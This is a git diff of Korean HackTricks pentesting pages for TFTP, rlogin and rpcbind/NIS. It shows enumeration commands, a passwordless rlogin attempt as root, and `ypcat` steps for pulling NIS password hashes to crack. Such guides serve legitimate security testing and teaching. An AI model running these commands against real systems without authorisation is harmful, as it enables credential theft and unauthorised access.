* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
- **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
# 기본 정보
|
||||
|
||||
**Trivial File Transfer Protocol (TFTP)**는 인증이 필요하지 않은 파일 전송을 가능하게 하는 간단한 프로토콜로, **UDP 포트 69**에서 사용됩니다. **RFC 1350**에서 강조된 이 프로토콜은 기본적인 보안 기능이 부족하여 공개 인터넷에서는 제한적으로 사용됩니다. 그러나 **TFTP**는 특정 시나리오에서의 효율성으로 인해 **VoIP 핸드셋**과 같은 장치에 **구성 파일** 및 **ROM 이미지**를 배포하기 위해 대규모 내부 네트워크에서 널리 사용됩니다.
|
||||
**Trivial File Transfer Protocol (TFTP)**은 **UDP 포트 69**에서 사용되는 간단한 프로토콜로, 인증이 필요하지 않은 파일 전송을 허용합니다. **RFC 1350**에서 강조되었으며, 간단함으로 인해 주요 보안 기능이 부족하여 공개 인터넷에서는 제한적으로 사용됩니다. 그러나 **TFTP**는 **VoIP 핸드셋**과 같은 장치에 **구성 파일** 및 **ROM 이미지**를 효율적으로 배포하기 위해 대규모 내부 네트워크에서 널리 사용됩니다.
|
||||
|
||||
**할 일**: Bittorrent-tracker가 무엇인지에 대한 정보를 제공하세요 (Shodan은 이 포트를 해당 이름으로 식별합니다). 이에 대해 더 많은 정보가 있다면 [**HackTricks 텔레그램 그룹**](https://t.me/peass) (또는 [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)의 github 이슈)에서 알려주세요.
|
||||
**할 일**: Bittorrent-tracker가 무엇인지에 대한 정보를 제공하세요 (Shodan은 이 포트를 해당 이름으로 식별합니다). 이에 대해 더 많은 정보를 가지고 있다면 [**HackTricks 텔레그램 그룹**](https://t.me/peass) (또는 [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)의 github 이슈)에서 알려주세요.
|
||||
|
||||
**기본 포트:** 69/UDP
|
||||
```
|
||||
|
@ -26,7 +29,7 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
# 열거
|
||||
|
||||
TFTP는 디렉토리 목록을 제공하지 않으므로 `nmap`의 `tftp-enum` 스크립트는 기본 경로를 무차별 대입(brute-force)합니다.
|
||||
TFTP는 디렉토리 목록을 제공하지 않으므로 `nmap`의 `tftp-enum` 스크립트는 기본 경로를 브루트 포스할 것입니다.
|
||||
```bash
|
||||
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
||||
```
|
||||
|
@ -48,16 +51,21 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
|||
* `포트:69`
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,27 @@
|
|||
# 513 - Rlogin 펜테스팅
|
||||
# 513 - Rlogin Pentesting
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 웸하면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 기본 정보
|
||||
|
||||
과거에는 **rlogin**이 원격 관리 작업에 널리 사용되었습니다. 그러나 보안 문제로 인해 대부분 **slogin**과 **ssh**로 대체되었습니다. 이러한 새로운 방법은 원격 연결에 대한 향상된 보안을 제공합니다.
|
||||
과거에는 **rlogin**이 원격 관리 작업에 널리 사용되었습니다. 그러나 보안 문제로 인해 **slogin** 및 **ssh**에 크게 대체되었습니다. 이러한 최신 방법은 원격 연결에 대한 향상된 보안을 제공합니다.
|
||||
|
||||
**기본 포트:** 513
|
||||
```
|
||||
|
@ -24,60 +29,35 @@ PORT STATE SERVICE
|
|||
513/tcp open login
|
||||
```
|
||||
## **로그인**
|
||||
|
||||
The `rlogin` service is a remote login protocol that allows users to log into a remote system over a network. It is commonly used in Unix-based systems.
|
||||
|
||||
### **Vulnerabilities**
|
||||
|
||||
1. **Weak Authentication**: The `rlogin` service may have weak authentication mechanisms, such as allowing weak passwords or not enforcing password complexity requirements. Attackers can exploit this vulnerability by attempting to guess or crack weak passwords.
|
||||
|
||||
2. **Brute-Force Attacks**: Attackers can launch brute-force attacks against the `rlogin` service to guess valid usernames and passwords. This can be done by systematically trying different combinations of usernames and passwords until a successful login is achieved.
|
||||
|
||||
3. **Man-in-the-Middle (MitM) Attacks**: `rlogin` does not provide encryption by default, making it susceptible to MitM attacks. Attackers can intercept and modify the communication between the client and server, potentially gaining unauthorized access or stealing sensitive information.
|
||||
|
||||
### **Exploitation**
|
||||
|
||||
1. **Password Cracking**: Attackers can use tools like Hydra or John the Ripper to crack weak passwords used for `rlogin` authentication. These tools can automate the process of trying different password combinations until the correct one is found.
|
||||
|
||||
2. **Brute-Force Attacks**: Attackers can use tools like Medusa or Hydra to launch brute-force attacks against the `rlogin` service. These tools can try different combinations of usernames and passwords until a successful login is achieved.
|
||||
|
||||
3. **Sniffing and Spoofing**: Attackers can use tools like Wireshark or Ettercap to capture and analyze network traffic between the client and server. By sniffing the traffic, they can potentially obtain login credentials or perform MitM attacks by spoofing the server's responses.
|
||||
|
||||
### **Countermeasures**
|
||||
|
||||
1. **Strong Authentication**: Implement strong authentication mechanisms for the `rlogin` service, such as enforcing password complexity requirements, using multi-factor authentication, or implementing certificate-based authentication.
|
||||
|
||||
2. **Encryption**: Enable encryption for the `rlogin` service to protect against MitM attacks. This can be done by using tools like SSH or implementing SSL/TLS protocols.
|
||||
|
||||
3. **Network Segmentation**: Separate the `rlogin` service from critical systems or sensitive networks to limit the potential impact of a successful attack. Use firewalls or network segmentation techniques to restrict access to the service.
|
||||
|
||||
4. **Monitoring and Logging**: Implement monitoring and logging mechanisms to detect and track any suspicious activities related to the `rlogin` service. This can help in identifying potential attacks and taking appropriate actions to mitigate them.
|
||||
|
||||
5. **Regular Patching and Updates**: Keep the `rlogin` service and the underlying operating system up to date with the latest security patches and updates. This helps in addressing any known vulnerabilities and reducing the risk of exploitation.
|
||||
```bash
|
||||
# Install client
|
||||
apt-get install rsh-client
|
||||
```
|
||||
다음 명령을 사용하여 암호 없이 액세스할 수 있는 원격 호스트에 **로그인**을 시도할 수 있습니다. **root**를 사용자 이름으로 사용해보세요:
|
||||
다음 명령을 사용하여 액세스에 암호가 필요하지 않은 원격 호스트에 **로그인**을 시도할 수 있습니다. **루트**를 사용자 이름으로 시도해보세요:
|
||||
```bash
|
||||
rlogin <IP> -l <username>
|
||||
```
|
||||
### [무차별 대입 공격](../generic-methodologies-and-resources/brute-force.md#rlogin)
|
||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rlogin)
|
||||
|
||||
## 파일 찾기
|
||||
```
|
||||
find / -name .rhosts
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,94 +2,58 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**Portmapper**는 네트워크 서비스 포트를 **RPC (원격 프로시저 호출) 프로그램 번호**에 매핑하는 데 사용되는 서비스입니다. 이는 **유닉스 기반 시스템**에서 정보 교환을 용이하게 하는 데 중요한 구성 요소로 작용합니다. **Portmapper**와 관련된 **포트**는 공격자에 의해 자주 스캔되며, 가치 있는 정보를 노출시킬 수 있습니다. 이 정보에는 실행 중인 **유닉스 운영 체제 (OS)**의 유형 및 시스템에서 사용 가능한 서비스에 대한 세부 정보가 포함됩니다. 또한, **Portmapper**는 일반적으로 **NFS (네트워크 파일 시스템)**, **NIS (네트워크 정보 서비스)** 및 기타 **RPC 기반 서비스**와 함께 사용되어 네트워크 서비스를 효과적으로 관리합니다.
|
||||
**Portmapper**는 네트워크 서비스 포트를 **RPC** (원격 프로시저 호출) 프로그램 번호에 매핑하는 데 사용되는 서비스입니다. 이는 **Unix 기반 시스템**에서 중요한 구성 요소로 작용하여 이러한 시스템 간의 정보 교환을 용이하게 합니다. **Portmapper**와 관련된 **포트**는 공격자에 의해 자주 스캔되며 가치 있는 정보를 노출할 수 있습니다. 이 정보에는 실행 중인 **Unix 운영 체제(OS)**의 유형 및 시스템에서 사용 가능한 서비스에 대한 세부 정보가 포함됩니다. 또한 **Portmapper**는 네트워크 서비스를 효과적으로 관리하기 위해 **NFS (Network File System)**, **NIS (Network Information Service)** 및 기타 **RPC 기반 서비스**와 함께 일반적으로 사용됩니다.
|
||||
|
||||
**기본 포트:** 111/TCP/UDP, Oracle Solaris에서는 32771입니다.
|
||||
**기본 포트:** 111/TCP/UDP, Oracle Solaris의 경우 32771
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
111/tcp open rpcbind
|
||||
```
|
||||
## 열거
|
||||
|
||||
RPCbind은 RPC(Remote Procedure Call) 서비스를 관리하는 데 사용되는 유틸리티입니다. RPCbind는 클라이언트와 서버 간의 통신을 용이하게 하기 위해 포트맵핑을 제공합니다. 이를 통해 클라이언트는 서버의 RPC 서비스를 찾고 사용할 수 있습니다.
|
||||
|
||||
RPCbind 서비스를 열거하는 것은 시스템에서 실행 중인 RPC 서비스를 식별하는 과정입니다. 이를 통해 공격자는 시스템에서 사용 가능한 서비스를 파악하고 취약점을 찾을 수 있습니다.
|
||||
|
||||
### rpcinfo
|
||||
|
||||
rpcinfo는 RPC 서비스에 대한 정보를 제공하는 명령어입니다. 다음 명령어를 사용하여 RPCbind 서비스를 열거할 수 있습니다.
|
||||
|
||||
```bash
|
||||
rpcinfo -p <target>
|
||||
```
|
||||
|
||||
위 명령어에서 `<target>`은 대상 시스템의 IP 주소나 도메인 이름입니다. 이 명령어를 실행하면 RPCbind 서비스에 대한 정보가 표시됩니다. 이 정보에는 서비스의 프로그램 번호, 버전 및 프로토콜이 포함됩니다.
|
||||
|
||||
### nmap
|
||||
|
||||
nmap은 네트워크 스캐닝 도구로, 시스템의 포트 상태를 확인하는 데 사용됩니다. 다음 명령어를 사용하여 RPCbind 서비스를 열거할 수 있습니다.
|
||||
|
||||
```bash
|
||||
nmap -p 111 --script rpcinfo <target>
|
||||
```
|
||||
|
||||
위 명령어에서 `<target>`은 대상 시스템의 IP 주소나 도메인 이름입니다. 이 명령어를 실행하면 RPCbind 서비스에 대한 정보가 표시됩니다. 이 정보에는 서비스의 프로그램 번호, 버전 및 프로토콜이 포함됩니다.
|
||||
|
||||
### Metasploit
|
||||
|
||||
Metasploit은 다양한 보안 도구와 취약점 검사 도구를 제공하는 프레임워크입니다. Metasploit을 사용하여 RPCbind 서비스를 열거할 수 있습니다. 다음 명령어를 사용하여 Metasploit을 실행하고 RPCbind 서비스를 열거할 수 있습니다.
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
use auxiliary/scanner/portmap/rpcinfo
|
||||
set RHOSTS <target>
|
||||
run
|
||||
```
|
||||
|
||||
위 명령어에서 `<target>`은 대상 시스템의 IP 주소나 도메인 이름입니다. 이 명령어를 실행하면 RPCbind 서비스에 대한 정보가 표시됩니다. 이 정보에는 서비스의 프로그램 번호, 버전 및 프로토콜이 포함됩니다.
|
||||
## 열거 (Enumeration)
|
||||
```
|
||||
rpcinfo irked.htb
|
||||
nmap -sSUC -p111 192.168.10.1
|
||||
```
|
||||
가끔은 어떤 정보도 제공하지 않을 수 있고, 다른 경우에는 다음과 같은 정보를 얻을 수 있습니다:
|
||||
|
||||
![](<../.gitbook/assets/image (230).png>)
|
||||
|
||||
### Shodan
|
||||
|
||||
* `port:111 portmap`
|
||||
|
||||
## RPCBind + NFS
|
||||
|
||||
NFS 서비스를 찾으면 파일을 나열하고 다운로드(그리고 아마 업로드)할 수 있을 것입니다:
|
||||
만약 NFS 서비스를 찾는다면 파일을 나열하고 다운로드(그리고 업로드)할 수 있을 것입니다:
|
||||
|
||||
![](<../.gitbook/assets/image (232).png>)
|
||||
![](<../.gitbook/assets/image (869).png>)
|
||||
|
||||
이 프로토콜을 테스트하는 방법에 대해 자세히 알아보려면 [2049 - Pentesting NFS service](nfs-service-pentesting.md)를 읽어보세요.
|
||||
[2049 - Pentesting NFS service](nfs-service-pentesting.md)를 읽어서 이 프로토콜을 테스트하는 방법에 대해 더 알아보세요.
|
||||
|
||||
## NIS
|
||||
|
||||
**NIS** 취약점을 탐색하는 것은 두 단계의 과정으로 이루어집니다. 먼저 `ypbind` 서비스를 식별하는 것으로 시작합니다. 이 탐색의 핵심은 **NIS 도메인 이름**을 발견하는 것이며, 이를 찾지 못하면 진행이 중단됩니다.
|
||||
**NIS** 취약점을 탐색하는 것은 `ypbind` 서비스를 식별하는 두 단계 과정으로 시작됩니다. 이 탐색의 중심은 **NIS 도메인 이름**을 발견하는 것이며, 이것이 없으면 진행이 중단됩니다.
|
||||
|
||||
![](<../.gitbook/assets/image (233).png>)
|
||||
![](<../.gitbook/assets/image (856).png>)
|
||||
|
||||
탐색 여정은 필요한 패키지를 설치하는 것으로 시작합니다 (`apt-get install nis`). 그 다음 단계에서는 `ypwhich`를 사용하여 도메인 이름과 서버 IP로 NIS 서버의 존재를 확인하고, 보안을 위해 이러한 요소들을 익명화해야 합니다.
|
||||
탐색 여정은 필요한 패키지를 설치하는 것으로 시작합니다 (`apt-get install nis`). 그 다음 단계는 `ypwhich`를 사용하여 도메인 이름과 서버 IP로 NIS 서버의 존재를 확인하고, 이러한 요소들이 보안을 위해 익명화되어 있는지 확인하는 것을 요구합니다.
|
||||
|
||||
마지막이자 결정적인 단계는 `ypcat` 명령을 사용하여 민감한 데이터, 특히 암호화된 사용자 비밀번호를 추출하는 것입니다. 이러한 해시는 **John the Ripper**와 같은 도구를 사용하여 해독되며, 시스템 접근 및 권한에 대한 통찰력을 제공합니다.
|
||||
마지막이자 중요한 단계는 `ypcat` 명령을 사용하여 민감한 데이터를 추출하는 것인데, 특히 암호화된 사용자 비밀번호를 포함합니다. 이러한 해시는 **John the Ripper**와 같은 도구를 사용하여 해독되어 시스템 접근 및 권한에 대한 통찰을 제공합니다.
|
||||
```bash
|
||||
# Install NIS tools
|
||||
apt-get install nis
|
||||
|
@ -100,32 +64,36 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
|||
```
|
||||
### NIF 파일
|
||||
|
||||
| **마스터 파일** | **맵(들)** | **참고 사항** |
|
||||
| -------------- | --------------------------- | --------------------------------- |
|
||||
| /etc/hosts | hosts.byname, hosts.byaddr | 호스트 이름과 IP 정보 포함 |
|
||||
| **마스터 파일** | **맵(s)** | **노트** |
|
||||
| ---------------- | --------------------------- | --------------------------------- |
|
||||
| /etc/hosts | hosts.byname, hosts.byaddr | 호스트 이름 및 IP 세부 정보 포함 |
|
||||
| /etc/passwd | passwd.byname, passwd.byuid | NIS 사용자 암호 파일 |
|
||||
| /etc/group | group.byname, group.bygid | NIS 그룹 파일 |
|
||||
| /usr/lib/aliases | mail.aliases | 메일 별칭에 대한 세부 정보 |
|
||||
| /usr/lib/aliases | mail.aliases | 메일 별칭 세부 정보 |
|
||||
|
||||
## RPC 사용자
|
||||
|
||||
만약 다음과 같이 **rusersd** 서비스가 나열되어 있다면:
|
||||
만약 **rusersd** 서비스가 다음과 같이 나열되어 있다면:
|
||||
|
||||
![](<../.gitbook/assets/image (231).png>)
|
||||
![](<../.gitbook/assets/image (1038).png>)
|
||||
|
||||
박스의 사용자를 열거할 수 있습니다. 자세한 내용은 [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md)를 참조하세요.
|
||||
상자의 사용자를 열거할 수 있습니다. 자세한 내용은 [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md)를 참조하세요.
|
||||
|
||||
## 필터링된 Portmapper 포트 우회
|
||||
|
||||
**nmap 스캔**을 수행하고 포트 111이 필터링된 상태에서 열린 NFS 포트를 발견한 경우, 이러한 포트의 직접적인 공격은 불가능합니다. 그러나 **로컬에서 포트매퍼 서비스를 시뮬레이션하고 자신의 컴퓨터에서 대상으로의 터널을 생성**함으로써, 표준 도구를 사용하여 공격이 가능해집니다. 이 기술을 사용하면 포트 111의 필터링된 상태를 우회하여 NFS 서비스에 액세스할 수 있습니다. 이 방법에 대한 자세한 안내는 [이 링크](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc)에서 제공되는 문서를 참조하세요.
|
||||
**nmap 스캔**을 수행하고 포트 111이 필터링된 상태에서 열린 NFS 포트를 발견하면, 이러한 포트의 직접적인 악용은 불가능합니다. 그러나 **로컬로 포트맵퍼 서비스를 시뮬레이션하고 자신의 기기에서 대상으로 터널을 생성함으로써**, 표준 도구를 사용하여 악용이 가능해집니다. 이 기술을 사용하면 포트 111의 필터링된 상태를 우회하여 NFS 서비스에 액세스할 수 있습니다. 이 방법에 대한 자세한 안내는 [이 링크](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc)에서 확인할 수 있습니다.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `Portmap`
|
||||
|
||||
## 연습용 랩
|
||||
## 실습할 랩
|
||||
|
||||
* 이러한 기술을 [**Irked HTB 머신**](https://app.hackthebox.com/machines/Irked)에서 연습하세요.
|
||||
* 이러한 기술을 [**Irked HTB machine**](https://app.hackthebox.com/machines/Irked)에서 실습하세요.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## HackTricks 자동 명령어
|
||||
```
|
||||
|
@ -153,14 +121,14 @@ Command: nmap -sSUC -p 111 {IP}
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
